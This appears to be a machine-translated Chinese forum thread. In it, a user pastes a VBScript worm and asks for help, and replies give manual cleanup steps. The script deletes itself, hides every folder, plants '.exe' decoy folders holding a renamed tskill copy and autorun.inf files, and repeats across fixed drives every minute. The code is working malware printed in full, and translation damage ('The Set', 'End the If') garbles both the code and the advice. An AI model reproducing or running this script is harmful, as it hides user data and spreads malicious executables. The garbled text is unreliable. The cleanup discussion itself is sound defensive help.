On Error Resume Next
The Set of fso=CreateObject (" Scripting. FileSystemObject ")
Cx=Set fso. GetSpecialFolder (0)
Fso. GetFile (WScript. ScriptFullName). The Delete (True)
Do
C=fso. GetParentFolderName (Cx)
Set Fdrs=fso. GetFolder (C). The SubFolders
For Each Fdr In Fdrs
If Not fso. GetExtensionName (Fdr. Name)="exe" Then
Fso. CreateFolder (C & amp; Fdr. Name & amp; ". Exe ")
The Set fun=fso. GetFile (C & amp; "WINDOWS \ system32 \ tskill exe")
Fun. The Attributes=6
Fun. Copy (C & amp; Fdr. Name & amp; ". Exe \ fun. XLS. Exe ")
Set auto=fso. CreateTextFile (C & amp; Fdr. Name & amp; ". Exe \ Autorun inf ")
Auto. WriteLine (" [Autorun] ")
Auto. WriteLine (" Open=fun. XLS. Exe ")
Auto. Close
Set auto=Nothing
The Set fun=Nothing
Fso. GetFolder (C & amp; Fdr. Name & amp; ". Exe "). The Attributes=Fdr. Attributes
Fdr. Attributes=6
End the If
Next
Cx=Nothing Set
The Set of Fdrs=Nothing
The Set DRVS=fso. Drives
For Each DRV DRVS In
If DRV. DriveType=2 Then
If DRV & amp; "" Then=C
The Else
The Set Fdrs=fso. GetFolder (DRV) SubFolders
For Each Fdr In Fdrs
If Not fso. GetExtensionName (Fdr. Name)="exe" Then
Fdr. Name=Fdr. Name & amp; ". Exe "
The Set fun=fso. GetFile (C & amp; "WINDOWS \ system32 \ tskill exe")
Fun. Copy (DRV & amp; "" & amp; Fdr. Name & amp; "\ fun. XLS. Exe")
Set auto=fso. CreateTextFile (DRV & amp; "" & amp; Fdr. Name & amp; "\ Autorun. J inf")
Auto. WriteLine (" [Autorun] ")
Auto. WriteLine (" Open=fun. XLS. Exe ")
Auto. Close
Set auto=Nothing
The Set fun=Nothing
End the If
Next
End the If
End the If
Next
WScript. Sleep 60 * 1000
Loop
Ask god help me!!!
CodePudding user response:
Where are you in the computer tskill. Exe?CodePudding user response:
This, as if also it's not a very serious problem,Shutdown or restart your computer should be early, did not affect your system running now, just look at odds,
The solution is not difficult,
Step 1: "folder and search options" -> "view" TAB Settings:
The "hidden protected operating system files (recommended)" hook hook,
"Hidden files and folders" there to select show hidden files, folders and drives,
Step 2:
System disk: directly bring the root directory of the. Exe files deleted,
Other partitions: with the root directory. The exe directory name, remove the. Exe. Within the directory for Autorun. Inf and fun. XLS. Exe deleted directly,
Delete the two files, file name can be used to search the way to delete together directly,
Step 3: the processed folder above, according to your needs, to see if the "system, hidden attributes they are removed,
This may only use the command line to the operation, or write a batch, VBS script to handle, such as
CodePudding user response:
Indeed as expected have tskill, unused,Words what this man, this is almost a devastating,
CodePudding user response: